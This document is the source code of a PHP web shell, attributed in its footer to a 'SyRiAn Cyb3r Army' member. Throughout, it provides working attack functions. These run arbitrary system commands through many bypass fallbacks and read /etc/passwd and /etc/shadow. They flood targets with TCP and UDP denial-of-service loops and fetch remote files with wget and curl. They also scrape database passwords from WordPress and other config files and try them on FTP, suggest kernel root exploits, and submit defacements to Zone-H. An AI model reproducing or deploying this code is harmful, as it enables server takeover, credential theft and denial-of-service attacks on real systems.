function RenameFile($fileName,$newFileName)
{
	global $os;
	if(function_exists('rename')){$rename = rename($fileName,$newFileName);}
	if((!$rename) &amp;&amp; ($os == 'Linux'))
	{$path = 'mv '.$fileName.' '.$newFileName;$rename = Exe($path);}
	else if((!$rename) &amp;&amp; ($os == 'Windows'))
	{$path = 'ren '.$fileName.' '.$newFileName;$rename = Exe($path);}
	if($rename) {return true;}else{return false;}	
}
function ChangeMode($file,$per)
{
	global $os;
	if(function_exists('chmod')){$chmod = chmod($file,$per);	}
	if((!$chmod) &amp;&amp; ($os == 'Linux')){$chmod = Exe(&quot;chmod $per $file&quot;);}
	if($chmod){return true;}
	else{return false;}
}
function ChangeOwn($file,$newOwner)
{
	global $os;
	if(function_exists('chown')){$chown = chown($file,$newOwner);	}
	if((!$chown) &amp;&amp; ($os == 'Linux')){$chown = Exe(&quot;chown $file $newOwner&quot;);}
	if($chown){return true;}
	else{return false;}
}
function ChangeGrp($file,$newGrp)
{
	global $os;
	if(function_exists('chgrp')){$chgrp = chgrp($file,$newGrp);	}
	if((!$chgrp) &amp;&amp; ($os == 'Linux')){$chgrp = Exe(&quot;chgrp $file $newGrp&quot;);}
	if($chgrp){return true;}
	else{return false;}
}
function showUsers()
{
	if($rows = Exe('cat /etc/passwd')){echo $rows;}
	elseif($rows= Exe('cat /etc/domainalias')){echo $rows;}
	elseif($rows= Exe('cat /etc/shadow')){echo $rows;}
	elseif($rows= Exe('cat /var/mail')) {echo $rows;}
	elseif($rows= Exe('cat /etc/valiases')) {echo $rows;}
	elseif(file_exists('/etc/passwd'))
	{
		for($uid=0;$uid&lt;60000;$uid++)
		{ 
			$ara = posix_getpwuid($uid);
			if (!empty($ara)) {while (list ($key, $val) = each($ara)){print &quot;$val:&quot;;}print &quot;\n&quot;;}
		}
		return true;
	}
	else { return false;}
}
function DDOSTcp($url)
{
	while(1)
	{
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$do = curl_exec($ch);
		curl_close($ch); 
		flush();
	}
return true;
}
function DDOSUdp($url)
{
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);
    for($i=0;$i&lt;65000;$i++){$out .= 'X'; }
    while(1)
	{
    		$packets++;
            $rand = rand(1,65000);
            $fp = fsockopen('udp://'.$url, $rand, $errno, $errstr, 5);
            if($fp){fwrite($fp, $out); fclose($fp);}
    } echo &quot;UDP Flood : Completed with $packets (&quot; . round(($packets*65)/1024, 2) . &quot; MB) packets averaging\n&quot;;
}
function scanDirs()
{
	global $os; global $safe_mode;
	if($os == &quot;Linux&quot;){$scanDirs = Exe('ls -lia');}
	elseif ($os == &quot;Windows&quot;){$scanDirs = Exe('dir');}
	elseif(function_exists('opendir') &amp;&amp; !$scanDirs)
	{
		if ($handle = opendir(getcwd())) 
		{
			while (false !== ($file = readdir($handle))){echo &quot;$file\n&quot;;}
			while ($file = readdir($handle)){echo &quot;$file\n&quot;;}
			closedir($handle);
		}
		$d=dir(getcwd());
	}
}
function getFiles($fileURL)
{
	$fileName = substr($fileURL,strrpos($fileURL,'/')+1);
	if(function_exists('file_get_contents') &amp;&amp; function_exists('fwrite'))
	{
		$getTheFile = file_get_contents($fileURL);
		$getFile = GenerateFile($fileName,$getTheFile);
	}
	if(!$getFile){$getFile = Exe('get '.$fileURL);}
	else if(!$getFile){$getFile = Exe('wget '.$fileURL);}
	elseif(!$getFile){$getFile = Exe('curl -o '.$fileURL);}
	elseif(!$getFile){$getFile = Exe('lynx -source '.$fileURL);}
	if($getFile){return true;}else{return false;}
}
function ReadingFiles($file)
{
	$openMyFile = fopen($file,'r'); //Open The File
	if(function_exists('fread')){echo fread($openMyFile,100000);	} // Fread()
	elseif(function_exists('fgets')){echo fgets($openMyFile);} // fgets()
	elseif(function_exists('readfile')){echo readfile($openMyFile);} // readfile()
	elseif(function_exists('file_get_contents'))
	{$readMyFile = file_get_contents($file, NULL, NULL, 0, 1000000);var_dump($readMyFile);} // file_get_contents()
	else if(!is_dir(dirname(__FILE__).&quot;/http:&quot;)) // curl Using file:HTTP
	{
		if(!is_writable(dirname(__FILE__))) echo &quot;I can't create http:directory&quot;;
		else
		{
			mkdir(&quot;http:&quot;);
			if(get_magic_quotes_gpc() == 1){$file = stripslashes($_POST['file']);}
			else{$file=$_POST['file'];}
			if((curl_exec(curl_init(&quot;file:http://../&quot;.htmlspecialchars_decode($file))))  and !empty($file))  die();
			elseif(!empty($file)) die(&quot;Sorry... File &quot;.htmlspecialchars($file).&quot; doesn't exists or you don't have permissions.&quot;);	
		}
	}
	elseif(function_exists('file')) // file
	{
		$readMyFile = file($file); 
		foreach ($readMyFile as $line_num =&gt; $readMyFileLine) 
		{ echo $readMyFileLine . &quot;
&quot;; 
}
	}
	elseif(function_exists('copy')) // copy
	{
		$tmp=tempnam('','cx');
		copy('compress.zlib://'.$file,$tmp);
		$fh=fopen($tmp,'r');
		$data=fread($fh,filesize($tmp));
		fclose($fh);
		echo $data;
	}
	elseif(function_exists('mb_send_mail')) // mb_send_mail
	{
		if(file_exists('/tmp/mb_send_mail')){DeleteFile('/tmp/mb_send_mail');}
		mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
		readfile('/tmp/mb_send_mail');
	}
	else if(function_exists('curl_init')) // curl_init
	{
		$ch = curl_init(&quot;file://&quot;.$file.&quot;\x00&quot;.__FILE__);
		var_dump(curl_exec($ch));
	} 
	else if(is_object($ws=new COM('WScript.shell'))){echo $exec=comshell(&quot;type '$file'&quot;,$ws);} // WScript.shell
	else if(function_exists('win_shell_execute')){echo winshell(&quot;type '$file'&quot;);} // win_shell_execute
	else if(function_exists('win32_create_service')){echo srvshell(&quot;type '$file'&quot;);} // win32_create_service
	else if(function_exists('imap_open') &amp;&amp; ($file == '/etc/passwd')) // imap_open
	{
		$str=imap_open('/etc/passwd','','');
		$list=imap_list($str,$file,'*');
		for($i=0;$i&lt;count($list);$i++){echo $list[$i].&quot;\n&quot;;}
		imap_close($str);
		$str=imap_open($file,'','');
		$tmp=imap_body($str,1);
		echo $tmp;
		imap_close($str);
	}
	elseif(function_exists('tempnam')) // tempnam
	{
		$tymczas=&quot;./&quot;;
		$temp=tempnam($tymczas, &quot;cx&quot;);
		if(copy(&quot;compress.zlib://&quot;.$file, $temp))
		{
			$zrodlo = fopen($temp, &quot;r&quot;);
			$tekst = fread($zrodlo, filesize($temp));
			fclose($zrodlo);
			echo htmlspecialchars($tekst);
			DeleteFile($temp);
		} 
		else {echo htmlspecialchars($file).&quot;dosen't exists or you don't have access.&quot;;}
	}
	elseif(substr(phpversion(),0,1) &lt;'5'){echo &quot;Please Generate ini.php file and use ?cmd=command&quot;;}
	elseif(Exe('cat '.$file.'')){echo Exe('cat '.$file.'');	}
	elseif(function_exists('include')){include($file);	}
	fclose($openMyFile);	
}
function slashBypass($cmd)
{
	GenerateFile(&quot;cmd.bat&quot;,&quot;$cmd&gt;sy3.txt&quot;.&quot;\r\n exit&quot;);
	exec(&quot;\start cmd.bat&quot;);
	ReadingFiles('sy3.txt');
}
function DBConnect($host,$user,$pass,$db)
{
	$connect = mysql_pconnect($host,$user,$pass);
	if(!$connect){echo &quot;Can't Connect to [ &quot;.$host.&quot; ] [ &quot;.$user.&quot; ] [ &quot;.$pass.&quot; ]&quot;; return false;	}
	else
	{
		$tryToSelectDB = mysql_select_db($db,$connect);
		if(!$tryToSelectDB){echo &quot;Can't Enter The Database [ &quot;.$db.&quot; ]&quot;; return false;		}
		else{return true; return $connect;}
	}
}
function ViewDirectories($file)
{
	$con=glob(&quot;$file*&quot;);
	foreach ($con as $v){echo &quot;$v\n&quot;;}
	if(function_exists('imap_open'))
	{
		$str=imap_open('/etc/passwd','','');
		$s=explode(&quot;|&quot;,$file);
		if(count($s)&gt;1){$list=imap_list($str,trim($s[0]),trim($s[1]));}
		else {$list=imap_list($str,trim($str[0]),'*');}
		for($i=0;$i&lt;count($list);$i++){imap_close($str);}
	}
	else if(is_object($ws=new COM('WScript.shell')))
	{
		$exec=comshell(&quot;dir '$file'&quot;,$ws);
		$exec=str_replace(&quot;\t&quot;,'',$exec);
		echo $exec;
	}
	else if(checkfunctioN('win_shell_execute')){echo winshell(&quot;dir '$file'&quot;);}
	else if(checkfunctioN('win32_create_service')){echo srvshell(&quot;dir '$file'&quot;);}
}
function getTheUser($domainToHack)
{
	$domainUser = Exe(&quot;ls -la /etc/valiases/$domainToHack&quot;);
	$counter =0 ; 
	for($i=0;$i&lt;strlen($domainUser);$i++)
	{
		if($counter &gt;= 4){break;}
		if($domainUser[$i] == ' '){$counter++;}
		if($counter == 3){if($domainUser[$i] == &quot; &quot;){}else {$domainUserName .= $domainUser[$i];}}
	}return $domainUserName;	
}
function ftp_check_config($login,$pass) 
{ 
	$ftp=ftp_connect('127.0.0.1'); 
	if ($ftp) 
	{ 
	   $res=ftp_login($ftp,$login,$pass); 
	   if ($res) { echo '[FTP] '.$login.':'.$pass.&quot;  Success\n&quot;; } 
	   else ftp_quit($ftp); 
	} 
} 
function read_dir($path,$username) 
{ 
	if ($handle = opendir($path)) 
	{ 
	   while (false !== ($file = readdir($handle))) 
	   { 
			 $fpath=&quot;$path$file&quot;; 
			 if (($file!='.') and ($file!='..')) 
			 { 
				if (is_readable($fpath)) 
				{ 
				   $dr=&quot;$fpath/&quot;; 
				   if (is_dir($dr)) { read_dir($dr,$username); } 
				   else 
				   { 
						if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) 
						{ 
						   $pass=get_pass($fpath); 
						   if ($pass!='') 
						   { 
							   echo &quot;[+] $fpath\n$pass\n&quot;; 
							   ftp_check_config($username,$pass); 
						   } 
						} 
				   } 
				} 
			 } 
	   } 
	} 
} 
function get_pass($link) 
{ 
	$config=fopen($link,'r'); 
	while(!feof($config)) 
	{ 
	   $line=fgets($config); 
	   if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) 
	   { 
		   if (strrpos($line,'&quot;')) 
		      $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'&quot;')-(strpos($line,'=')+3))); 
		   else 
			  $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,&quot;'&quot;)-(strpos($line,'=')+3))); 
		   return $pass; 
	   } 
	} 
} 
function GetRealIP()
{
    if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);} 
	elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);}
	else {$ip=getenv(REMOTE_ADDR);}
    return $ip;
}
function openBaseDir()
{
	$openBaseDir = ini_get(&quot;open_basedir&quot;);
	if (!$openBaseDir){$openBaseDir = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}
    else {$openBaseDir = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}	
	return $openBaseDir;
}
function str_hex($string)
{
	$hex='';
	for ($i=0; $i &lt; strlen($string); $i++){$hex .= dechex(ord($string[$i]));}return $hex;
}
function SafeMode()
{
	$safe_mode = ini_get(&quot;safe_mode&quot;);
	if (!$safe_mode){$safe_mode = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}
    else {$safe_mode = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	return $safe_mode;
}
function currentFileName()
{
	$currentFileName = $_SERVER[&quot;SCRIPT_NAME&quot;];
	$currentFileName = Explode('/', $currentFileName);
	$currentFileName = $currentFileName[count($currentFileName) - 1];
	return $currentFileName;
}
function Suicide()
{DeleteFile(currentFileName());}
function rootxpL()
{
	$v=php_uname();
	$db=array('2.6.17'=&gt;'prctl3, raptor_prctl, py2','2.6.16'=&gt;'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=&gt;'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=&gt;'raptor, raptor2, h00lyshit','2.6.13'=&gt;'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=&gt;'h00lyshit','2.6.11'=&gt;'krad3, krad, h00lyshit','2.6.10'=&gt;'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=&gt;'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=&gt;'h00lyshit, krad, krad2','2.6.7'=&gt;'h00lyshit, krad, krad2','2.6.6'=&gt;'h00lyshit, krad, krad2','2.6.2'=&gt;'h00lyshit, krad, mremap_pte','2.6.'=&gt;'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=&gt;'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=&gt;'elfdump, uselib24','2.4.25'=&gt;'uselib24','2.4.24'=&gt;'mremap_pte, loko, uselib24','2.4.23'=&gt;'mremap_pte, loko, uselib24','2.4.22'=&gt;'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=&gt;'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=&gt;'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=&gt;'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=&gt;'km2, w00t, uselib24, loginx, kmod','2.4.17'=&gt;'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=&gt;'w00t, uselib24, loginx','2.4.10'=&gt;'w00t, brk, uselib24, loginx','2.4.9'=&gt;'ptrace24, uselib24','2.4.'=&gt;'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=&gt;'mremap_pte','2.2.24'=&gt;'ptrace','2.2.'=&gt;'rip, ptrace');
	foreach($db as $k=&gt;$x)if(strstr($v,$k))return $x;
	if(!$xpl)$xpl='&lt;font color=&quot;red&quot;&gt;Not found.&lt;/font&gt;';
	return $xpl;
}
function PostgreSQL()
{
	if(function_exists('pg_connect')){$postgreSQL = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$postgreSQL = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $postgreSQL;
}
function Oracle()
{
	if(function_exists('ocilogon')){$oracle = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$oracle = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $oracle;
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,&quot;defacer=&quot;.$hacker.&quot;&amp;domain1=&quot;. $site.&quot;&amp;hackmode=&quot;.$hackmode.&quot;&amp;reason=&quot;.$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);return $kubra;
}
function MsSQL()
{
	if(function_exists('mssql_connect')){$msSQL = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$msSQL = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $msSQL;
}
function MySQL2()
{
	$mysql_try = function_exists('mysql_connect');
	if($mysql_try){$mysql = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$mysql = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $mysql;
}
function getConfigPath($ScriptType)
{
	if($ScriptType == 'vb'){return &quot;/includes/config.php&quot;;}
	elseif($ScriptType == 'wp'){return &quot;/wp-config.php&quot;;}
	elseif($ScriptType == 'phpbb'){return &quot;/config.php&quot;;}
	elseif($ScriptType == 'jos'){return &quot;/configuration.php&quot;;}
	elseif($ScriptType == 'ipb'){return &quot;/conf_global.php&quot;;}
	elseif($ScriptType == 'smf'){return &quot;/Settings.php &quot;;}
	elseif($ScriptType == 'mybb'){return &quot;/inc/config.php &quot;;}
}
function Gzip()
{
	if (function_exists('gzencode')){$gzip = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$gzip = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $gzip;
}
function MysqlI()
{
	if (function_exists('mysqli_connect')){$mysqli = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$mysqli = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $mysqli;
} 
function MSQL()
{
	if (function_exists('msql_connect')){$mSql = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$mSql = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $mSql;
}
function SQlLite()
{
	if (function_exists('sqlite_open')){$SQlLite = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else {$SQlLite = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $SQlLite;
}
function RegisterGlobals()
{
	if(ini_get('register_globals')){$registerg= '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else{$registerg= '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $registerg;
}
function HardSize($size)
{
	if($size &gt;= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . &quot; GB&quot;;}
	elseif($size &gt;= 1048576) {$size = round($size / 1048576 * 100) / 100 . &quot; MB&quot;;}
	elseif($size &gt;= 1024) {$size = round($size / 1024 * 100) / 100 . &quot; KB&quot;;}
	else {$size = $size . &quot; B&quot;;}return $size;
}
function Curl()
{
	if(extension_loaded('curl')){$curl = '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}
	else{$curl = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}return $curl;
}
function getConfigInfo($scriptType)
{
	if(file_exists('DecryptConfig.php'))
	{
		include(&quot;DecryptConfig.php&quot;);
	
	if($scriptType == 'vb')
	{
		$dbName = $config['Database']['dbname'];
		$prefix = $config['Database']['tableprefix'];
		$email = $config['Database']['technicalemail'];
		$host = $config['MasterServer']['servername'];
		$port = $config['MasterServer']['port'];
		$user = $config['MasterServer']['username'];
		$pass = $config['MasterServer']['password'];
		$admincp = $config['Misc']['admincpdir'];
		$modecp = $config['Misc']['modcpdir'];
	}
	elseif($scriptType == 'wp')
	{
		$dbName = DB_NAME;
		$prefix = $table_prefix;
		$host = DB_HOST;
		$user = DB_USER;
		$pass = DB_PASS;
	}	
	elseif($scriptType == 'jos')
	{
		$dbName = $db;
		$prefix = $dbprefix;
		$email = $mailfrom;
		$host = $host;
		$user = $user;
		$pass = $password;
	}
	elseif($scriptType == 'phpbb')
	{
		$host = $dbhost;
		$port = $dbport;
		$dbName = $dbname;
		$user = $dbuser;
		$pass = $dbpasswd;
		$prefix = $table_prefix;
	}
	elseif($scriptType == 'ipb')
	{
		$host = $INFO['sql_host'];
		$dbName = $INFO['sql_database'];
		$user = $INFO['sql_user'];
		$pass = $INFO['sql_pass'];
		$prefix = $INFO['sql_tbl_prefix'];
	}
	elseif($scriptType == 'smf')
	{
		$dbName = $db_name;
		$pass = $db_passwd;
		$prefix = $db_prefix;
		$host = $db_server;
		$user = $db_user;
		$email = $webmaster_email;
	}
	elseif($scriptType == 'mybb')
	{
		$host = $config['database']['hostname'];
		$user = $config['database']['username'];
		$pass = $config['database']['password'];
		$dbName = $config['database']['database'];
		$prefix = $config['database']['table_prefix'];
		$admincp = $config['admin_dir'];
		$prefix = $config['database']['table_prefix'];
	}
	echo '
#-------------------------------#
#      Config Informations      #
#-------------------------------#
Host : '.$host.'
DB Name : '.$dbName.'
DB User : '.$user.'
DB Pass : '.$pass.'
Prefix : '.$prefix.'
Email : '.$email.'
Port : '.$port.'
ACP : '.$admincp.'
MCP : '.$modecp.'
';
	}
	else{echo &quot;File DecryptConfig.php Not Exists !! &quot;;}
}
function footer()
{
	echo '&lt;table bgcolor=&quot;#cccccc&quot; width=&quot;100%&quot;&gt;&lt;tr&gt;
	&lt;td width=&quot;100%&quot;&gt;[&lt;sy&gt;&lt;a href=&quot;#top&quot;&gt;TOP&lt;/a&gt;&lt;/sy&gt;]
	&lt;center&gt;&lt;font color=&quot;gray&quot; size=&quot;-2&quot;&gt;&lt;b&gt;
	&lt;font color=&quot;gray&quot;&gt;C0D3D By&lt;/font&gt;&lt;sy&gt;&amp;nbsp; ~~ [ &lt;/sy&gt;
	&lt;font color=&quot;gray&quot;&gt;EH SyRiAn_34G13&lt;/font&gt;&lt;sy&gt; ] ~~ [
	&lt;/sy&gt;&lt;font color=&quot;gray&quot;&gt;sy34@msn.com&lt;/font&gt;&lt;sy&gt; ]
	~~ [
	&lt;/sy&gt;&lt;font color=&quot;gray&quot;&gt;SyRiAn Cyb3r Army&lt;/font&gt;&lt;sy&gt; ]
	&lt;/sy&gt;&lt;/b&gt;
	&lt;/td&gt;
	&lt;/tr&gt;&lt;/table&gt;
	&lt;/tbody&gt;
	&lt;a name=&quot;down&quot;&gt;&lt;/a&gt;
	&lt;/body&gt;&lt;/html&gt;
	';
}
function whereistmP()
{
	$uploadtmp=ini_get('upload_tmp_dir');
	$uf=getenv('USERPROFILE');
	$af=getenv('ALLUSERSPROFILE');
	$se=ini_get('session.save_path');
	$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
	if(is_dir('/tmp') &amp;&amp; is_writable('/tmp'))return '/tmp';
	if(is_dir('/usr/tmp') &amp;&amp; is_writable('/usr/tmp'))return '/usr/tmp';
	if(is_dir('/var/tmp') &amp;&amp; is_writable('/var/tmp'))return '/var/tmp';
	if(is_dir($uf) &amp;&amp; is_writable($uf))return $uf;
	if(is_dir($af) &amp;&amp; is_writable($af))return $af;
	if(is_dir($se) &amp;&amp; is_writable($se))return $se;
	if(is_dir($uploadtmp) &amp;&amp; is_writable($uploadtmp))return $uploadtmp;
	if(is_dir($envtmp) &amp;&amp; is_writable($envtmp))return $envtmp;
	return '.';
}
function winshell($command)
{
	$name=whereistmP().&quot;\\&quot;.uniqid('NJ');
	win_shell_execute('cmd.exe','',&quot;/C $command &gt;\&quot;$name\&quot;&quot;);
	sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function update()
{echo &quot;[+] Update Has D0n3 ^_^&quot;;}
function srvshell($command)
{
	$name=whereistmP().&quot;\\&quot;.uniqid('NJ');
	$n=uniqid('NJ');
	$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
	win32_create_service(array('service'=&gt;$n,'display'=&gt;$n,'path'=&gt;$cmd,'params'=&gt;&quot;/c $command &gt;\&quot;$name\&quot;&quot;));
	win32_start_service($n);
	win32_stop_service($n);
	win32_delete_service($n);
	while(!file_exists($name))sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function ffishell($command)
{
	$name=whereistmP().&quot;\\&quot;.uniqid('NJ');
	$api=new ffi(&quot;[lib='kernel32.dll'] int WinExec(char *APP,int SW);&quot;);
	$res=$api-&gt;WinExec(&quot;cmd.exe /c $command &gt;\&quot;$name\&quot;&quot;,0);
	while(!file_exists($name))sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function comshell($command,$ws)
{
	$exec=$ws-&gt;exec(&quot;cmd.exe /c $command&quot;); 
	$so=$exec-&gt;StdOut();
	return $so-&gt;ReadAll();
}
function perlshell($command)
{
	$perl=new perl();
	ob_start();
	$perl-&gt;eval(&quot;system('&quot;.$command.&quot;')&quot;);
	$exec=ob_get_contents();
	ob_end_clean();
	return $exec;
}
function Exe($command)
{
	global $os;
	if(function_exists('passthru')){$exec = passthru($command);}
	elseif(function_exists('system') &amp;&amp; !$exec){$exec= system($command); }
	elseif(function_exists('exec') &amp;&amp; !$exec){exec($command,$output);$exec=join(&quot;\n&quot;,$output);}
	elseif(function_exists('shell_exec') &amp;&amp; !$exec){$exec=shell_exec($command);}
	elseif(function_exists('popen') &amp;&amp; !$exec){$fp = popen($command,&quot;r&quot;);
	{while(!feof($fp)){$result.=fread($fp,1024);}pclose($fp);}$exec = convert_cyr_string($result,&quot;d&quot;,&quot;w&quot;);}
	elseif(function_exists('win_shell_execute') &amp;&amp; !$exec){$exec = winshell($command);}
	elseif(function_exists('win32_create_service') &amp;&amp; !$exec){$exec=srvshell($command);}
	elseif(extension_loaded('ffi') &amp;&amp; !$exec){$exec=ffishell($command);}
	elseif(extension_loaded('perl') &amp;&amp; !$exec){$exec=perlshell($command);}
	elseif(!$exec) {$exec = slashBypass($command);}
	elseif(!$exec &amp;&amp; extension_loaded('python'))
	{$exec = python_eval(&quot;import os
	pwd = os.getcwd()
	print pwd
	os.system('&quot;.$command.&quot;')&quot;);}
	elseif($exec){return $exec;}
}
function magicQouts()
{
	if(function_exists('get_magic_quotes_gpc')){$mag = get_magic_quotes_gpc();}
	if (empty($mag)){$mag = '&lt;font color=&quot;green&quot;&gt;OFF&lt;/font&gt;';}
	else {$mag= '&lt;font color=&quot;red&quot;&gt;ON&lt;/font&gt;';}return $mag;
}
function DisableFunctions()
{
	$disfun = ini_get('disable_functions');
	if (empty($disfun)){$disfun = '&lt;font color=&quot;green&quot;&gt;NONE&lt;/font&gt;';}return $disfun;
}
function SelectCommand($os)
{
	if($os == 'Windows')
	{
		echo &quot;
		&lt;select name=alias &gt;
		&lt;option value=''&gt;NONE&lt;/option&gt;	
		&lt;option value='dir' &gt;List Directory&lt;/option&gt;
		&lt;option value='dir /s /w /b index.php'&gt;Find index.php in current dir&lt;/option&gt;
		&lt;option value='dir /s /w /b *config*.php'&gt;Find *config*.php in current dir &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;  &amp;nbsp;  &amp;nbsp;  &amp;nbsp;  &amp;nbsp;  &amp;nbsp;&lt;/option&gt;
		&lt;option value='netstat -an'&gt;Show active connections&lt;/option&gt;
		&lt;option value='net start'&gt;Show running services&lt;/option&gt;
		&lt;option value='tasklist'&gt;Show Pro&lt;/option&gt;
		&lt;option value='net user'&gt;User accounts&lt;/option&gt;
		&lt;option value='net view'&gt;Show computers&lt;/option&gt;
		&lt;option value='arp -a'&gt;ARP Table&lt;/option&gt;
		&lt;option value='ipconfig /all'&gt;IP Configuration&lt;/option&gt;
		&lt;option value='netstat -an'&gt;netstat -an&lt;/option&gt;
		&lt;option value='systeminfo'&gt;System Informations&lt;/option&gt;
		&lt;option value='getmac'&gt;Get Mac Address&lt;/option&gt;
		&lt;/select&gt;
		&quot;;
	}
	else
	{
		echo &quot;
		&lt;select name=alias &gt;
		&lt;option value=''&gt;NONE&lt;/option&gt;	
		&lt;option value='ls -la'&gt;List dir&lt;/option&gt;
		&lt;option value='cat /etc/hosts'&gt;IP Addresses&lt;/option&gt;
		&lt;option value='cat /proc/sys/vm/mmap_min_addr'&gt;Check MMAP&lt;/option&gt;
		&lt;option value='lsattr -va'&gt;list file attributes on a Linux second extended file system&lt;/option&gt;
		&lt;option value='netstat -an | grep -i listen'&gt;show opened ports&lt;/option&gt;
		&lt;option value='find / -type f -perm -04000 -ls'&gt;find all suid files&lt;/option&gt;
		&lt;option value='find . -type f -perm -04000 -ls'&gt;find suid files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -perm -02000 -ls'&gt;find all sgid files&lt;/option&gt;
		&lt;option value='find . -type f -perm -02000 -ls'&gt;find sgid files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -name config.inc.php'&gt;find config.inc.php files&lt;/option&gt;
		&lt;option value='find / -type f -name \&quot;config*\&quot;'&gt;find config* files&lt;/option&gt;
		&lt;option value='find . -type f -name \&quot;config*\&quot;'&gt;find config* files in current dir&lt;/option&gt;
		&lt;option value='find / -perm -2 -ls'&gt;find all writable folders and files&lt;/option&gt;
		&lt;option value='find . -perm -2 -ls'&gt;find all writable folders and files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -name service.pwd'&gt;find all service.pwd files&lt;/option&gt;
		&lt;option value='find . -type f -name service.pwd'&gt;find service.pwd files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -name .htpasswd'&gt;find all .htpasswd files&lt;/option&gt;
		&lt;option value='find . -type f -name .htpasswd'&gt;find .htpasswd files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -name .bash_history'&gt;find all .bash_history files&lt;/option&gt;
		&lt;option value='find . -type f -name .bash_history'&gt;find .bash_history files in current dir&lt;/option&gt;
		&lt;option value='find / -type f -name .fetchmailrc'&gt;find all .fetchmailrc files&lt;/option&gt;
		&lt;option value='find . -type f -name .fetchmailrc'&gt;find .fetchmailrc files in current dir&lt;/option&gt;
		&lt;option value='locate httpd.conf'&gt;locate httpd.conf files&lt;/option&gt;
		&lt;option value='locate vhosts.conf'&gt;locate vhosts.conf files&lt;/option&gt;
		&lt;option value='locate proftpd.conf'&gt;locate proftpd.conf files&lt;/option&gt;
		&lt;option value='locate psybnc.conf'&gt;locate psybnc.conf files&lt;/option&gt;
		&lt;option value='locate my.conf'&gt;locate my.conf files&lt;/option&gt;
		&lt;option value='locate admin.php'&gt;locate admin.php files&lt;/option&gt;
		&lt;option value='locate cfg.php'&gt;locate cfg.php files&lt;/option&gt;
		&lt;option value='locate conf.php'&gt;locate conf.php files&lt;/option&gt;
		&lt;option value='locate config.dat'&gt;locate config.dat files&lt;/option&gt;
		&lt;option value='locate config.php'&gt;locate config.php files&lt;/option&gt;
		&lt;option value='locate config.inc'&gt;locate config.inc files&lt;/option&gt;
